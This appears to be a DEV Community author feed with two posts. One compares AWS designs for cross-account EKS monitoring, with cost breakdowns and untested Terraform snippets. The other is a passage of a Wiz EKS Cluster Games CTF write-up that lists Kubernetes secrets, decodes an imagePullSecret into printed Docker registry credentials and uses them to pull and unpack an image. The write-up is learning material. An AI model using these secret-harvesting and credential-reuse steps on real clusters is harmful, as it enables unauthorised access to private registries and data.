DEV Community: Kirill

Centralized EKS monitoring across multiple AWS accounts

Kirill — Thu, 20 Nov 2025 09:25:45 +0000

Complex systems require extensive monitoring and observability. Systems as complex as Kubernetes clusters have so many moving parts that sometimes it's a task and a half just to configure their monitoring properly. Today I'm going to talk in depth about cross-account observability for multiple EKS clusters, explore various implementation options, outline the pros and cons of each approach, and explain one of them in close detail. Whether you’re an aspiring engineer seeking best-practice advice, a seasoned professional ready to disagree with everything, or a manager looking for ways to optimize costs -- this article might be just right for you.

Cluster observability

What is good observability? Good observability answers the questions:

How is our cluster doing?
Are all the components working as intended?
Are there any errors?
What about our application?
What do our users see?
Are they experiencing any issues?

As you can see, apart from the health of the cluster itself, good observability monitors the health of the application and user-facing metrics as well. So far, we can highlight two types of data in our cluster: cluster operational metrics and application metrics.

But is that all? Didn't we forget something?

How are we going to find out whether we have issues with our services if our monitoring is down? Exactly -- we can't. So we have to introduce meta-monitoring metrics: the data about the health of the monitoring system itself.
And now we have three types of metrics.

Observability fundamentals

The bare minimum set of data we can scrape from our cluster comes from the Prometheus Node Exporter (or VictoriaMetrics vmagent). This is the most technical data -- CPU, memory, network latencies, temperature, you name it. It doesn't get more technical than this.

But should we stop here? Technical data about our system shows only our part of the setup -- the health of the underlying system. It's extremely helpful when something goes very wrong with our service, but it doesn't show the full picture. To see that, we also need visibility into the customer-facing side of our service. We need application metrics: request latency, number of responses, application errors. The good thing is that exposing a metrics endpoint within our application may be enough -- Prometheus will scrape this endpoint by itself without additional daemons.

Something's missing, right? For example, where can we see application errors? Not just the error codes or counts, but actual error messages?

Sure, kubectl logs my-pod is cool and all, but a production-ready app is rarely a single pod (at least I hope so, for most of us).

So we think about log collection as well. This adds yet another pod to each node we have: a log collector agent.

Is the picture complete now?

Not quite. As mentioned previously, to check whether our monitoring setup is even alive, it would be nice to have some sort of external monitoring -- the monitoring of the monitoring. Monitoringception. Since the sole purpose of this external service is to answer the question of whether the monitoring is alive, it can be a very simple setup: a daemon that queries the monitoring endpoint. Because this daemon must remain alive even when the whole system is down, it has to run outside the perimeter of the application workload -- on an external EC2 instance outside the EKS cluster. To achieve the maximum independence of the system this service can be set up in an entirely different cloud provider or even on a dedicated VPS in a datacenter on another continent (or in your home lab).

It can even be done as a dead-man switch: an alert in the monitoring system that should always be in the "failing" state and should turn green only if the monitoring system is down. Don't like constant influx of alerts? Set up an notification when data hasn't been received for X minutes, it should do the trick as well.¹

Cross-account observability

Now let's crank it up a notch.

This is what a service architecture might look like. But in modern development, it rarely is like this. Mature businesses typically divide their infrastructure by environments -- at the very least, development and production. They might also include, but are not limited to, staging, UAT, etc.

So we spin up both environments in the same cluster, but in different namespaces, right?

This is a bad practice, as resources are still shared between both applications, and one can affect the other in ways we wouldn't want.

The other option is to spin up another environment in the same AWS account, but on a different cluster. Is this a good option? Most likely, yes. Buuuut the Well-Architected Framework and other guidelines advise against sharing a single account between several environments. Full environment separation is better for both account and application security.

So now we have two AWS accounts.

It was fairly simple to organize observability within a single account -- the networks were contained, enclosed in a single perimeter, and available directly from one endpoint to another. Having several accounts introduces the complexity of cross-account networking and finally brings us to the actual topic of this article.

Cross-account networking options

As with every task in cloud operations, this topic can be approached in several ways:

VPC Peering
AWS Transit Gateway
AWS NLBs with VPC Endpoints and VPC Endpoint Services
AWS VPN / Direct Connect
Public internet + Authorization + TLS

Let's discuss each of them briefly.

NOTE
For the examples below, the cost of each implementation will include only additional charges (i.e., networking and service charges). The price of the monitoring services (Prometheus + storage, Grafana, etc.) will not be referenced.

NOTE
A table summarizing all the options with detailed price breakdown and implementation complexity comparisons can be found in the annex.

VPC Peering

This option assumes creating multiple VPC Peering connections from the root account to branched accounts. It is quite cheap and may work well for small organizations with one or two accounts. It may also work if you only plan to create your infrastructure, because it requires CIDR planning: VPC CIDRs cannot overlap with this option. On top of that, you will have to configure route tables manually for each account. On the bright side: same-AZ traffic is free, and VPC peering is also free.

Pros

Native AWS networking, low latency
No additional data transfer costs within the same region
Simple security model with Security Groups
Direct IP connectivity, no NAT required

Cons

Non-transitive routing (requires mesh topology for 4+ accounts)
CIDR blocks cannot overlap between VPCs
Manual route table management for each peering

AWS Transit Gateway

This setup looks more like an enterprise-scale solution: better convenience, higher price. It allows for centralized management of the observability networking setup but requires extensive route planning. It is, however, very scalable by utilizing Transit Gateways, which can be attached to a large number of accounts. It can also be shared across organization accounts via Resource Access Manager (one more point for house Enterprise).

Pros

Scalable to hundreds of VPCs
Centralized management
Supports overlapping CIDR blocks with routing domains
Single point of policy enforcement
Can be shared across accounts via Resource Access Manager

Cons

Pricy
Additional hop adds ~1-2 ms latency
More complex initial setup
Bandwidth limits per VPC attachment (50 Gbps burst)
Requires careful route table planning

AWS NLBs + VPC Endpoints and VPC Endpoint Services

The third option, almost the golden mean, involves exposing services via Network Load Balancers and Endpoint Services and connecting to them via VPC Endpoints. It is cheaper than the previous option but more expensive than the first. NLBs and VPC Endpoints cost money to simply run. On the other hand, it doesn't limit the number of accounts that can be connected, doesn't require route table configuration, doesn't traverse the public internet unexposed, and with one-to-many connections, you only need to configure a small number of endpoints and endpoint services.

Pros

No CIDR overlap issues
Works across regions
Manual control over who can connect: accept/refuse endpoint service connections
Private connectivity without internet exposure
No route table modifications needed

Cons

Higher cost
Requires NLB per source cluster
Additional latency from the NLB layer
Cross-region data transfer can be expensive

AWS VPN / Direct Connect

This option is an overkill unless you have a dedicated NOC department, because it has all the fun: full network connectivity, encrypted traffic, interface configuration, BGP configuration, and many associated charges for traffic and connection speed.

Pros

Full network connectivity
Can support multiple use cases beyond monitoring
Encrypted tunnels
Direct Connect offers dedicated bandwidth and lower latency

Cons

Requires a specialized NOC department
You will have to have an existing datacenter to justify using Direct Connect
High cost (especially Direct Connect)
Complex setup and management
VPN has bandwidth limitations (~1.25 Gbps per tunnel)
Direct Connect has long setup times (weeks)
Requires BGP knowledge for Direct Connect

Public Internet + Authorization + TLS

And the final option: the very basic "just shove it onto the public internet and slap a login page on top of it" approach. Super simple to set up! Just spin up an ALB before the Prometheus instance, season it with TLS certificates, and expose it to the public internet. Super unsafe! Works for hobby and experimental projects. Please don't use in a production environment (unless you are absolutely certain -- but still, please don't).

Pros

Simplest networking
No VPC connectivity required
Works across any AWS accounts/regions
Easy to test and debug
Lowest AWS networking costs

Cons

Security concerns
Data transfer over public internet
Potential latency/reliability issues
Harder to pass security audits
Need to manage SSL certificates
Vulnerable to DDoS

As you can see, there are several options to consider and choose from. All of them have their pros and cons. For my scenario, I ended up choosing to set up NLBs with VPC Endpoints.

Why?

The first reason is that it's relatively easy to implement. To set up a connection between accounts, we need only an endpoint service and endpoints in the other accounts (plural). They connect in a one-to-many relationship: one endpoint service can handle several connecting endpoints.

The second reason is that I had overlapping CIDRs in each account, so VPC Peering was immediately off the table.

The third reason is that it has moderately less configuration overhead. I won't have to configure client connections or route tables. Proper routing between multiple accounts is a very precise art at which I most certainly suck.

And the last reason is that it's still quite secure. The traffic from services doesn't leave the AWS network, doesn't traverse the public internet, and connections are only allowed after approval (it can be configured to auto-approve, though, which may be convenient -- but healthy paranoia is my constant companion).

Chosen cross-account solution

The whole system is actually not that overcrowded.

For the sake of this article, let's assume we have three products: Bulba, Char, and Squi. Each product has two environments: normal and sparkling. We also have a root account (let's call it Ketch) for organization management and, for simplicity, observability as well. This gives us seven AWS accounts and seven EKS clusters. Why seven and not six? Well, the root account also runs an EKS cluster as an observability backend.

Each product account (Bulba, Char, and Squi) includes the following elements:

EKS cluster:
- Prometheus server
- Node exporter pods
- Logs and traces collector pods (for my setup, Alloy, I choose you!)
- Internal NLB to expose the Prometheus backend as a service (only in the private subnet)
Endpoint service that exposes the NLB for Prometheus. For each deployed endpoint service, a corresponding endpoint must be created in the root account (more on that later)
Endpoint for connecting to the root account logging solution (Loki)
Endpoint for connecting to the root account tracing solution (Tempo)
Security groups with allowed ingress and egress ports

The root account (Ketch) also contains several elements:

EKS cluster:
- Prometheus server: centralized Prometheus backend that queries federated Prometheus backends in product accounts
- Loki backend, which receives logs from product accounts
- Tempo backend, which receives traces from product accounts
- Internal NLB to expose Loki backend as a service (in the private subnet)
- Internal NLB to expose Tempo backend as a service (in the private subnet)
S3 buckets for chunks and logs (Loki)
S3 bucket for traces (Tempo)
Endpoints for connecting to product account Prometheus backends in federated mode
Endpoint service for Loki, which accepts endpoint connections from product accounts
Endpoint service for Tempo, which accepts endpoint connections from product accounts
Security groups with allowed ingress and egress ports

That's quite a lot of components to keep track of. Luckily, we have IaC to ease the configuration and deployment of these components.

To understand why so many components are needed (particularly the endpoint service-endpoint pairs), we need to look at the traffic flow model.

Zooming in a bit, we can see the exact details of how the connection is configured.

Since our goal is to keep metrics data secure and prevent it from traversing public subnets or the public internet, we create an endpoint service. This service acts as an open receiver on one account (the product account) for the connector on the root account. This creates a 1-to-1 connection that is both secure and governed, since requests to connect to the endpoint service must be approved.

The setup for metrics differs from the setup for logs and traces.

Prometheus uses a pull model: the backend queries the endpoints for data, effectively pulling the data from them. Loki and Tempo, however, use a push model: deployed logs and traces collection pods send (push) the data to the centralized backend.

In this case, the endpoint service/endpoint pair is reversed and simpler: only one endpoint service per service (two in total) is created in the root account, and all product accounts create endpoints and request connections with the root endpoint service.

And this is how the accounts look in the end:

TIP
For consistency, you might want to use a metrics-gathering service with a push model (e.g., the aforementioned VictoriaMetrics vmagent). This way, endpoint services are only created in the root account, and product accounts only have endpoints.

Operational considerations

As mentioned previously, the solution I chose in this article is not the only correct one out there. For this setup, I had specific requirements that needed to be fulfilled, as well as particular implementation caveats to consider.

My example is definitely not the cheapest option. The cheapest would be using VPC Peering. But unfortunately, my existing setup -- with the same CIDRs in EKS clusters and the possibility to extend beyond those six (+1) AWS accounts -- made this option unavailable.

The described setup is also located in a single region -- in cross-region data transfer scenarios, costs can increase drastically and very quickly. For each additional region, an additional VPC endpoint/service will have to be created.

There's also always the possibility to just expose the backend ports to the public internet (with proper authorization, of course!) and don't bother with endpoint configuration entirely. But even with TLS-encrypted traffic, this is a rather unsafe option and will absolutely not help you pass any SOC 1/SOC 2/ISO 27001 certification.

Closing thoughts

This was a very interesting challenge to tackle and implement -- I had an absolute blast setting up the POC and confirming that it works. I was excited by the variety of options I could choose from and the differences between the tools available in these scenarios.

And I think it's beautiful. It not only shows the complexity of AWS services (which can sometimes be a downside), but also that there's always more than one solution to each problem. Every engineer will approach a challenge differently -- which, in my humble opinion, means our jobs are secure for the observable future.

Thank you for reading, and see you in the next one!

Annex

A. Summarizing table

Option	CIDRs can overlap	Scalability	Implementation Complexity	Price
VPC Peering	X	●○○	●●○○	$
AWS Transit Gateway	✓	●●●	●●●○	$$$
AWS NLBs + VPC Endpoints + Services	✓	●●○	●●○○	$$
AWS VPN / Direct Connect	✓	●●●	●●●●	$$$-$$$$
Public internet + Authorization + TLS	✓	●●●	●○○○	$$

B. Price breakdown

The variety, complexity and difference of the outlined options require more in-depth research than outlined in the scope of this article. I agree with that. To make your life easier and to highlight the cryptic $ signs in the table above, I decided to create an example price breakdown and give you some specific numbers, based on which you can at least in some proximity figure whether an option is sutable for you or not.

To keep the numbers comparable, we will assume the following prerequisites:

5 AWS accounts (1 root and 4 product accounts)
All accounts are located in single region (us-west-2), but in multiple AZs
500 GB of data transferred monthly
Each account has an EKS cluster with 2 nodes (c7a.medium) in each
750 GB of storage for 1 month data retention and a little extra

Option 1: VPC Peering

VPC Peering Connections: 4 × $0 = $0 / month
Data Transfer (cross-AZ², bidirectional): 500 GB × 2 × $0,01/GB = $10/month
NLBs in product accounts (Prometheus): 4 × $16.20/month = $64.80/month
NLB in root account (Loki): $16.20/month
NLB LCU charges: 500 GB × $0.006/GB = $3/month
EC2 instances for EKS: 10 × $37.46/month = $374.6/month
EBS storage (gp3): 750 GB × $0.08/GB = $60/month

Total Monthly Cost: $528.6

Option 2: AWS Transit Gateway

Transit Gateway: $36/month
TGW VPC Attachments: 5 × $0.05/hr = $180/month
TGW Data Transfer: 500 GB × $0.02 = $10/month
Data Transfer (cross-AZ, bidirectional): 500 GB × 2 × $0,01/GB = $10/month
EC2 instances for EKS: 10 × $37.46/month = $374.60/month
EBS storage (gp3): 750 GB × $0.08/GB = $60/month

Total Monthly Cost: $634.6

Option 3: AWS NLBs + VPC Endpoints + Services

VPC Endpoints in root account (Prometheus): 4 × $0.01/hr = $28.4/month
VPC Endpoints in product account (Loki): 4 × $0.01/hr = $28.4/month
VPC Endpoint Data Transfer: 500 GB × $0.01/GB = $5/month
NLBs in product accounts (Prometheus): 4 × $16.20/month = $64.80/month
NLB in root account (Loki): $16.20/month
NLB LCU charges: 500 GB × $0.006/GB = $3/month
Data Transfer (cross-AZ, bidirectional): 500 GB × 2 × $0,01/GB = $10/month
EC2 instances for EKS: 10 × $37.46/month = $374.60/month
EBS storage (gp3): 750 GB × $0.08/GB = $60/month

Total Monthly Cost: $590.4

Option 4a: Site-to-Site VPN

VPN Connections: 4 × $0.05/hour = $144/month
VPN Data Transfer: 500 GB × $0.09/GB = $45/month
Data Transfer (cross-AZ, bidirectional): 500 GB × 2 × $0,01/GB = $10/month
EC2 instances for EKS: 10 × $37.46/month = $374.60/month
EBS storage (gp3): 750 GB × $0.08/GB = $60/month

Total Monthly Cost: $633.6

Option 4b: AWS Direct Connect

Direct Connect Port (1 Gbps): $0.30/hour = $216/month
Direct Connect Data Transfer: 500 GB × $0.02 = $10/month
Data Transfer (cross-AZ, bidirectional): 500 GB × 2 × $0,01/GB = $10/month
EC2 instances for EKS: 10 × $37.46/month = $374.60/month
EBS storage (gp3): 750 GB × $0.08/GB = $60/month

Total Monthly Cost: $670.6³

Option 5: Public Internet + TLS + Auth

NLBs in product accounts (Prometheus): 4 × $16.20/month = $64.80/month
NLB in root account (Loki): $16.20/month
NLB LCU charges: 500 GB × $0.006/GB = $3/month
Data Transfer (out to the internet): 500 GB × $0.09/GB = $45/month
EC2 instances for EKS: 10 × $37.46/month = $374.60/month
EBS storage (gp3): 750 GB × $0.08/GB = $60/month

Total Monthly Cost: $563.6

For pricing calculations, I used the following AWS resources::

Amazon VPC pricing

Elastic Load Balancing pricing

Amazon EC2 On-Demand Pricing

Amazon EBS pricing

AWS Pricing Calculator

As well as this handy AWS EC2 instance and price comparison tool:

Amazon EC2 Instance Type Comparison

C. IaC snippets

The code presented in this section does not represent a fully working infrastructure. It highlights only the most relevant parts of the PoC implementation. It has not been tested and serves solely as a reference. You can copy it, but without additional initial setup (at minimum a VPC and an EKS cluster) and further adjustments, it will not work. Use at your own risk!

Product account

# variables.tf
variable "eks_nlb_endpoint_services" {
  description = "EKS NLB endpoint services configuration"
  type = map(object({
    nlb_arn            = list(string)
    allowed_principals = list(string)
  }))
}

variable "loki_service_name" {
  description = "VPC Endpoint Service name for Loki"
  type = string
}

variable "tempo_service_name" {
  description = "VPC Endpoint Service name for Tempo"
  type = string
}

variable "vpc_id" {
  type        = string
}

variable "private_subnet_ids" {
  type        = list(string)
}

variable "name_prefix" {
  type        = string
}

# main.tf
resource "aws_vpc_endpoint_service" "nlb_endpoint_services" {
  for_each = var.eks_nlb_endpoint_services

  acceptance_required        = true
  allowed_principals         = each.value.allowed_principals
  network_load_balancer_arns = each.value.nlb_arn
}

resource "aws_security_group" "observability" {
  name        = "${var.name_prefix}-observability"
  description = "Allow traffic from observability resources"
  vpc_id      = var.vpc_id
}

resource "aws_vpc_security_group_ingress_rule" "loki" {
  security_group_id = aws_security_group.observability.id
  description       = "Allow traffic from observability resources: Loki"
  cidr_ipv4         = "10.0.0.0/16"
  from_port         = 8080
  to_port           = 8080
  ip_protocol       = "tcp"
}

resource "aws_vpc_security_group_ingress_rule" "tempo" {
  security_group_id = aws_security_group.observability.id
  description       = "Allow traffic from observability resources: Tempo"
  cidr_ipv4         = "10.0.0.0/16"
  from_port         = 4317
  to_port           = 4318
  ip_protocol       = "tcp"
}

resource "aws_vpc_endpoint" "loki" {
  vpc_id              = var.vpc_id
  service_name        = var.loki_service_name
  vpc_endpoint_type   = "Interface"
  security_group_ids  = [aws_security_group.observability.id]
  subnet_ids          = var.private_subnet_ids
  private_dns_enabled = false
}

resource "aws_vpc_endpoint" "tempo" {
  vpc_id              = var.vpc_id
  service_name        = var.tempo_service_name
  vpc_endpoint_type   = "Interface"
  security_group_ids  = [aws_security_group.observability.id]
  subnet_ids          = var.private_subnet_ids
  private_dns_enabled = false
}

# terraform.tfvars
eks_nlb_endpoint_services = {
  prometheus = {
    nlb_arn = [
      "arn:aws:elasticloadbalancing:us-west-2:${data.aws_caller_identity.current.account_id}:loadbalancer/net/xxxx-yyyy/zzzz"
    ]
    allowed_principals = ["arn:aws:iam::123456789012:root"]
  }
}
loki_service_name = "com.amazonaws.vpce.us-west-2.vpce-svc-qwertyuiop"
tempo_service_name = "com.amazonaws.vpce.us-west-2.vpce-svc-qwertyuiop"
vpc_id             = "vpc-xxxxx"
private_subnet_ids = ["subnet-xxxxx", "subnet-yyyyy"]
name_prefix        = "char"

Root account

# variables.tf
variable "account_id" {
  type        = string
}

variable "name_prefix" {
  type        = string
}

variable "vpc_id" {
  type        = string
}

variable "private_subnet_ids" {
  type        = list(string)
}

variable "allowed_principals" {
  description = "Allowed AWS account principals for VPC endpoint services"
  type        = list(string)
}

variable "loki_nlb_arns" {
  type        = list(string)
}

variable "tempo_nlb_arns" {
  type        = list(string)
}

variable "char_normal_prometheus_vpcesvc_name" {
  description = "VPC Endpoint Service name for Prometheus; normal account"
  type        = string
}

variable "char_sparkling_prometheus_vpcesvc_name" {
  description = "VPC Endpoint Service name for Prometheus; sparkling account"
  type        = string
}

# s3.tf
resource "aws_s3_bucket" "loki_chunks" {
  bucket = "${var.name_prefix}-${var.account_id}-loki-chunks"
}

resource "aws_s3_bucket" "loki_ruler" {
  bucket = "${var.name_prefix}-${var.account_id}-loki-ruler"
}

resource "aws_s3_bucket" "tempo" {
  bucket = "${var.name_prefix}-${var.account_id}-tempo-traces"
}

# iam.tf
resource "aws_iam_policy" "loki_buckets" {
  name = "${var.name_prefix}-loki-buckets"

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Sid    = "LokiBuckets"
        Effect = "Allow"
        Action = [
          "s3:ListBucket",
          "s3:PutObject",
          "s3:GetObject",
          "s3:DeleteObject"
        ]
        Resource = [
          aws_s3_bucket.loki_chunks.arn,
          "${aws_s3_bucket.loki_chunks.arn}/*",
          aws_s3_bucket.loki_ruler.arn,
          "${aws_s3_bucket.loki_ruler.arn}/*"
        ]
      }
    ]
  })
}

resource "aws_iam_role" "loki_pod_identity" {
  name = "${var.name_prefix}-loki-pod-identity"

  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Sid    = "AllowEksAuthToAssumeRoleForPodIdentity"
        Effect = "Allow"
        Principal = {
          Service = "pods.eks.amazonaws.com"
        }
        Action = [
          "sts:AssumeRole",
          "sts:TagSession"
        ]
      }
    ]
  })

  tags = var.common_tags
}

resource "aws_iam_role_policy_attachment" "loki_pod_identity" {
  role       = aws_iam_role.loki_pod_identity.name
  policy_arn = aws_iam_policy.loki_buckets.arn
}

resource "aws_iam_policy" "tempo_bucket" {
  name = "${var.name_prefix}-tempo-bucket"

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Sid    = "LokiBuckets"
        Effect = "Allow"
        Action = [
          "s3:ListBucket",
          "s3:PutObject",
          "s3:GetObject",
          "s3:DeleteObject",
          "s3:GetObjectTagging",
          "s3:PutObjectTagging"
        ]
        Resource = [
          aws_s3_bucket.tempo.arn,
          "${aws_s3_bucket.tempo.arn}/*"
        ]
      }
    ]
  })
}

resource "aws_iam_role" "tempo_pod_identity" {
  name = "${var.name_prefix}-tempo-pod-identity"

  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Sid    = "AllowEksAuthToAssumeRoleForPodIdentity"
        Effect = "Allow"
        Principal = {
          Service = "pods.eks.amazonaws.com"
        }
        Action = [
          "sts:AssumeRole",
          "sts:TagSession"
        ]
      }
    ]
  })
}

resource "aws_iam_role_policy_attachment" "tempo_pod_identity" {
  role       = aws_iam_role.tempo_pod_identity.name
  policy_arn = aws_iam_policy.tempo_bucket.arn
}

resource "aws_eks_pod_identity_association" "loki" {
  cluster_name    = var.name_prefix
  namespace       = "monitoring"
  service_account = "loki"
  role_arn        = aws_iam_role.loki_pod_identity.arn
}

resource "aws_eks_pod_identity_association" "tempo" {
  cluster_name    = var.name_prefix
  namespace       = "monitoring"
  service_account = "tempo"
  role_arn        = aws_iam_role.tempo_pod_identity.arn
}

# vpc.tf
resource "aws_vpc_endpoint_service" "loki" {
  acceptance_required        = true
  allowed_principals         = var.allowed_principals
  network_load_balancer_arns = var.loki_nlb_arns
}

resource "aws_vpc_endpoint_service" "tempo" {
  acceptance_required        = true
  allowed_principals         = var.allowed_principals
  network_load_balancer_arns = var.tempo_nlb_arns

}

resource "aws_vpc_endpoint" "char-normal-prometheus" {
  vpc_id              = var.vpc_id
  service_name        = var.char_normal_vpcesvc_name
  vpc_endpoint_type   = "Interface"
  security_group_ids  = [aws_security_group.observability.id]
  subnet_ids          = var.private_subnet_ids
  private_dns_enabled = false
}

resource "aws_vpc_endpoint" "char-sparkling-prometheus" {
  vpc_id              = var.vpc_id
  service_name        = var.char_sparkling_vpcesvc_name
  vpc_endpoint_type   = "Interface"
  security_group_ids  = [aws_security_group.observability.id]
  subnet_ids          = var.private_subnet_ids
  private_dns_enabled = false
}

resource "aws_security_group" "observability" {
  name        = "observability"
  description = "Allow traffic from observability resources"
  vpc_id      = var.vpc_id
}

resource "aws_vpc_security_group_ingress_rule" "prometheus" {
  security_group_id = aws_security_group.observability.id
  cidr_ipv4         = "10.0.0.0/16"
  from_port         = 9090
  to_port           = 9090
  ip_protocol       = "tcp"
}

# terraform.tfvars.example
account_id                             = "123456789012"
name_prefix                            = "ketch"
vpc_id                                 = "vpc-xxxxx"
private_subnet_ids                     = ["subnet-xxxxx", "subnet-yyyyy"]
loki_nlb_arns                          = ["arn:aws:elasticloadbalancing:us-west-2:${var.account_id}:loadbalancer/net/xxxx-yyyy/zzzz"]
tempo_nlb_arns                         = ["arn:aws:elasticloadbalancing:us-west-2:${var.account_id}:loadbalancer/net/xxxx-yyyy/zzzz"]
char_normal_prometheus_vpcesvc_name    = "com.amazonaws.vpce.us-west-2.vpce-svc-xyz"
char_sparkling_prometheus_vpcesvc_name = "com.amazonaws.vpce.us-west-2.vpce-svc-xyz"
allowed_principals = [
  "arn:aws:iam::111111111111:root",
  "arn:aws:iam::222222222222:root"
]

It doesn’t matter all that much which approach you choose to implement for monitoring your monitoring. In light of recent events, some folks even created a downdetector for a downdetector’s downdetector. I mean, it’s hilariously fun, but the key point remains solid: you need to know whether your eyes and ears (infrastructure-wise) are even working. ↩
We assume 100% cross-AZ traffic in this example to maximize potential traffic costs and avoid complicating the calculations with percentages of same-AZ versus cross-AZ traffic. ↩
Direct Connect may also require a specific partner to enable and perform the physical connection to the AWS network, so expect to add a few hundred (or even thousands) of dollars on top of the initial bill for setup. ↩

Solving EKS Cluster Games

Kirill — Tue, 30 Sep 2025 15:40:32 +0000

CTF challenges continue to be one of my interests for their ability to show me even more ways in which my allegedly "secure" and "solid" infrastructure setup can be accessed by a malicious actor. This time we're gonna discuss the second challenge in a series of CTFs made by WIZ: EKS Cluster Games.

Secret Seeker

Task:
Jumpstart your quest by listing all the secrets in the cluster. Can you spot the flag among them?

Kubernetes policy:

{
    "secrets": [
        "get",
        "list"
    ]
}

For this task we're provided with the following permissions: we can list and read secrets. Okay, let's do exactly that.

But before diving into Kubernetes resources, we have a nice welcome message:

Welcome to Wiz EKS Challenge!
For your convenience, the following directories are persistent across sessions:
        * /home/user
        * /tmp

Use kubectl to start!

All right! Having the home directory persistent across sessions means we can make our job easier. Let's start with the alias:

echo 'alias k="kubectl"' >> ~/.bashrc && source ~/.bashrc

And now we won't have to type the long kubectl command ever again (in the scope of this challenge, that is.)

Now to the task itself.

root@wiz-eks-challenge:~# k get secret
NAME         TYPE     DATA   AGE
log-rotate   Opaque   1      674d
root@wiz-eks-challenge:~# k get secret log-rotate -o yaml
apiVersion: v1
data:
  flag: d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==
kind: Secret
{...}

And there is our flag! Let's decode it and see the value:

root@wiz-eks-challenge:~# echo 'd2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==' | base64 -d
wiz_eks_challenge{omg_over_privileged_secret_access}

So far so good. This was a breeze. Let's see if the following challenges will be as easy.

Registry Hunt

Task:
A thing we learned during our research: always check the container registries.

Kubernetes policy:

{
    "secrets": [
        "get"
    ],
    "pods": [
        "list",
        "get"
    ]
}

With the given policy we can list and get pods, and we can get secrets. But oh bother, we can't actually list secrets! So we will have to somehow find them. Let's start with pods.

root@wiz-eks-challenge:~# k get pods
NAME                    READY   STATUS    RESTARTS   AGE
database-pod-14f9769b   1/1     Running   0          23d
root@wiz-eks-challenge:~# k describe pod database-pod-14f9769b
Name:         database-pod-14f9769b
Namespace:    challenge2
Priority:     0
<...omitted for brevity...>
root@wiz-eks-challenge:~# k describe pod database-pod-14f9769b | grep -i secret
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-8cw9p (ro)
root@wiz-eks-challenge:~# ls -l /var/run/secrets/kubernetes.io/serviceaccount/
total 12
-rw-r--r--. 1 nobody nogroup 1099 Sep  5 19:47 ca.crt
-rw-r--r--. 1 nobody nogroup   11 Sep  5 19:45 namespace
-rw-r--r--. 1 nobody nogroup 1010 Sep  5 19:45 token

Eh, nothing of interest here. Let's try a different approach.

root@wiz-eks-challenge:~# k get pod database-pod-14f9769b -o yaml
apiVersion: v1
kind: Pod
metadata: {...}
spec:
  {...}
  imagePullSecrets:
  - name: registry-pull-secrets-16ae8e51
  {...}

Booyah! There we have it! A handy-dandy imagePullSecrets parameter waiting just for us.

root@wiz-eks-challenge:~# k get secret registry-pull-secrets-16ae8e51 -o yaml
apiVersion: v1
data:
  .dockerconfigjson: eyJhdXRocyI6IHsiaW5kZXguZG9ja2VyLmlvL3YxLyI6IHsiYXV0aCI6ICJaV3R6WTJ4MWMzUmxjbWRoYldWek9tUmphM0pmY0dGMFgxbDBibU5XTFZJNE5XMUhOMjAwYkhJME5XbFpVV280Um5WRGJ3PT0ifX19
kind: Secret
{...}
root@wiz-eks-challenge:~# k get secret registry-pull-secrets-16ae8e51 -o json | jq -r '.data.".dockerconfigjson"' | base64 -d
{"auths": {"index.docker.io/v1/": {"auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="}}}

From the auth string we can extract the credentials to log in to the registry:

root@wiz-eks-challenge:~# echo -n 'ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw==' | base64 -d
eksclustergames:dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
root@wiz-eks-challenge:~# crane auth login docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
2025/09/05 19:57:55 logged in via /home/user/.docker/config.json

Nice! I'm in!

Now let's head for that image we're tasked to fetch and dissect.

root@wiz-eks-challenge:~# crane pull docker.io/eksclustergames/base_ext_image@sha256:c3c280fac41084a821ab0a32d16bd21a887141bcf1330e40adf086c0f0c97888 base_ext_image.tar.gzip
root@wiz-eks-challenge:~# ls -l
total 2104
-rw-r--r--. 1 root root 2150400 Sep  5 19:59 base_ext_image.tar.gzip
root@wiz-eks-challenge:~# tar xvzf base_ext_image.tar.gzip

gzip: stdin: not in gzip format
tar: Child returned status 1
tar: Error is not recoverable: exiting now

Joke's on me here -- the pulled image was not actually a gzipped tar archive, but a tar archive consisting of several gzipped tar archives. Happens to the best of us!

root@wiz-eks-challenge:~# mv base_ext_image.tar.gzip base_ext_image.tar
root@wiz-eks-challenge:~# ls -l
total 2104
-rw-r--r--. 1 root root 2150400 Sep  5 19:59 base_ext_image.tar
root@wiz-eks-challenge:~# tar xvf base_ext_image.tar
sha256:62a84aabdaff849b4d1e976aa70ed4d4f5a8e6bed29c7a8fa25603803b72048d
90b9666d4aed1893ff122f238948dfd5e8efdcf6c444fe92371ea0f01750bf8c.tar.gz
71e23506d26b19d0d86d7ca64f9214c31a4ad9ccbff325b45be74ab2a6279e22.tar.gz
manifest.json
root@wiz-eks-challenge:~# ls -l
total 4212
-rw-r--r--. 1 root root     204 Jan  1  1970 71e23506d26b19d0d86d7ca64f9214c31a4ad9ccbff325b45be74ab2a6279e22.tar.gz
-rw-r--r--. 1 root root 2145249 Jan  1  1970 90b9666d4aed1893ff122f238948dfd5e8efdcf6c444fe92371ea0f01750bf8c.tar.gz
-rw-r--r--. 1 root root 2150400 Sep  5 19:59 base_ext_image.tar
-rw-r--r--. 1 root root     322 Jan  1  1970 manifest.json
-rw-r--r--. 1 root root     855 Jan  1  1970 sha256:62a84aabdaff849b4d1e976aa70ed4d4f5a8e6bed29c7a8fa25603803b72048d
root@wiz-eks-challenge:~# tar xvzf 71e23506d26b19d0d86d7ca64f9214c31a4ad9ccbff325b45be74ab2a6279e22.tar.gz
etc/
flag.txt
proc/
sys/
root@wiz-eks-challenge:~# cat flag.txt
wiz_eks_challenge{always_look_for_imagepullsecrets}

And here is the flag! Let's paste it to the task page and... Turns out this is the wrong flag! But how? Did I miss something?

Let's take a look at the image once more:

root@wiz-eks-challenge:~# crane config eksclustergames/base_ext_image:latest | jq
{
  {...}
  "history": [
    {...},
    {
